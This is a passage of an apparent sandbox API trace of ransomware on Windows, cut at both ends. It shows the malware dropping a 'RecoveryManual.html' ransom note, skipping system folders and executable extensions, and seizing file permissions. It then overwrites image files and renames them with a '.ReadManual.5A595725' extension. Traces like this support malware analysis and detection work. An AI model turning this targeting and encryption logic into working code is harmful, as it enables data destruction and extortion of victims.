lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0254.433] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" [0254.433] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0254.434] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0254.435] CloseHandle (hObject=0x194) returned 1 [0254.435] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0254.435] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="shadowonlyframe_buttongraphic.png" | out: lpString1="shadowonlyframe_buttongraphic.png") returned="shadowonlyframe_buttongraphic.png" [0254.435] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="RecoveryManual.html") returned 1 [0254.435] StrStrIW (lpFirst="shadowonlyframe_buttongraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.435] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.435] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.436] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.436] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.436] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.436] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.436] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.436] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.436] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.436] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.436] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.436] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.436] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.436] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.436] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" [0254.436] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.ReadManual.5A595725" [0254.436] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.ReadManual.5A595725") returned 101 [0254.436] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37510470296) returned 1 [0254.436] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png")) returned 0x20 [0254.436] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.436] GetLastError () returned 0x5 [0254.436] GetNamedSecurityInfoW () returned 0x0 [0254.437] SetNamedSecurityInfoW () returned 0x0 [0254.437] SetNamedSecurityInfoW () returned 0x0 [0254.438] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.438] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3462) returned 1 [0254.439] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd86, lpName=0x0) returned 0x184 [0254.439] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0254.439] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.439] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.441] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.441] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd86) returned 0x2f0000 [0254.442] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.442] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37511039250) returned 1 [0254.442] CloseHandle (hObject=0x184) returned 1 [0254.442] SetSecurityInfo () returned 0x5 [0254.442] SetSecurityInfo () returned 0x5 [0254.442] LocalFree (hMem=0x674d38) returned 0x0 [0254.442] CloseHandle (hObject=0x194) returned 1 [0254.442] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0254.442] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="shadowonlyframe_selectionsubpicture.png" | out: lpString1="shadowonlyframe_selectionsubpicture.png") returned="shadowonlyframe_selectionsubpicture.png" [0254.442] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="RecoveryManual.html") returned 1 [0254.442] StrStrIW (lpFirst="shadowonlyframe_selectionsubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.442] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.442] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.442] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.442] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.442] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.442] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.442] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.442] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.442] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.442] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.442] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.442] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.442] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.443] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.443] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" [0254.443] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.ReadManual.5A595725" [0254.443] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.ReadManual.5A595725") returned 107 [0254.443] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37511140734) returned 1 [0254.443] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png")) returned 0x20 [0254.444] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.444] GetLastError () returned 0x5 [0254.444] GetNamedSecurityInfoW () returned 0x0 [0254.444] SetNamedSecurityInfoW () returned 0x0 [0254.445] SetNamedSecurityInfoW () returned 0x0 [0254.446] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.446] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3390) returned 1 [0254.446] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd3e, lpName=0x0) returned 0x184 [0254.446] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0254.447] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.447] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.448] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.448] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd3e) returned 0x2f0000 [0254.449] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.449] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37511747496) returned 1 [0254.449] CloseHandle (hObject=0x184) returned 1 [0254.449] SetSecurityInfo () returned 0x5 [0254.449] SetSecurityInfo () returned 0x5 [0254.449] LocalFree (hMem=0x674d38) returned 0x0 [0254.449] CloseHandle (hObject=0x194) returned 1 [0254.452] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0254.452] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="shadowonlyframe_videoinset.png" | out: lpString1="shadowonlyframe_videoinset.png") returned="shadowonlyframe_videoinset.png" [0254.452] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="RecoveryManual.html") returned 1 [0254.452] StrStrIW (lpFirst="shadowonlyframe_videoinset.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.452] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.453] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.453] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.453] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.453] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.453] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.453] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.453] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.453] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.453] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.453] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.453] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.453] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.453] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.453] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" [0254.453] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.ReadManual.5A595725" [0254.453] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.ReadManual.5A595725") returned 98 [0254.453] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37512178251) returned 1 [0254.453] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png")) returned 0x20 [0254.453] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.453] GetLastError () returned 0x5 [0254.453] GetNamedSecurityInfoW () returned 0x0 [0254.454] SetNamedSecurityInfoW () returned 0x0 [0254.454] SetNamedSecurityInfoW () returned 0x0 [0254.457] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.458] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3214) returned 1 [0254.458] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc8e, lpName=0x0) returned 0x184 [0254.458] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0254.459] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.459] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.460] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.461] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc8e) returned 0x2f0000 [0254.461] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.461] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37512954876) returned 1 [0254.461] CloseHandle (hObject=0x184) returned 1 [0254.461] SetSecurityInfo () returned 0x5 [0254.461] SetSecurityInfo () returned 0x5 [0254.461] LocalFree (hMem=0x674d38) returned 0x0 [0254.461] CloseHandle (hObject=0x194) returned 1 [0254.461] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0254.461] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Shatter" | out: lpString1="Shatter") returned="Shatter" [0254.461] lstrcatW (in: lpString1="Shatter", lpString2="\\" | out: lpString1="Shatter\\") returned="Shatter\\" [0254.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\Windows\\") returned 0x0 [0254.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0254.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0254.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0254.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\WINNT") returned 0x0 [0254.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0254.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\Windows.old\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\PerfLog\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\WindowsApps\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Windows Defender\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\microsoft shared\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\Tor Browser\\") returned 0x0 [0254.462] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0254.462] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\") returned 56 [0254.462] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0254.464] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\" [0254.464] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.464] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0254.464] lstrcpyW (in: lpString1=0x6ab90c, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0254.464] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0254.464] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.464] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.464] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.464] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.464] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.464] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.464] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.464] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.464] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.464] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.464] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.464] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.464] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.464] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.464] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.464] lstrcpyW (in: 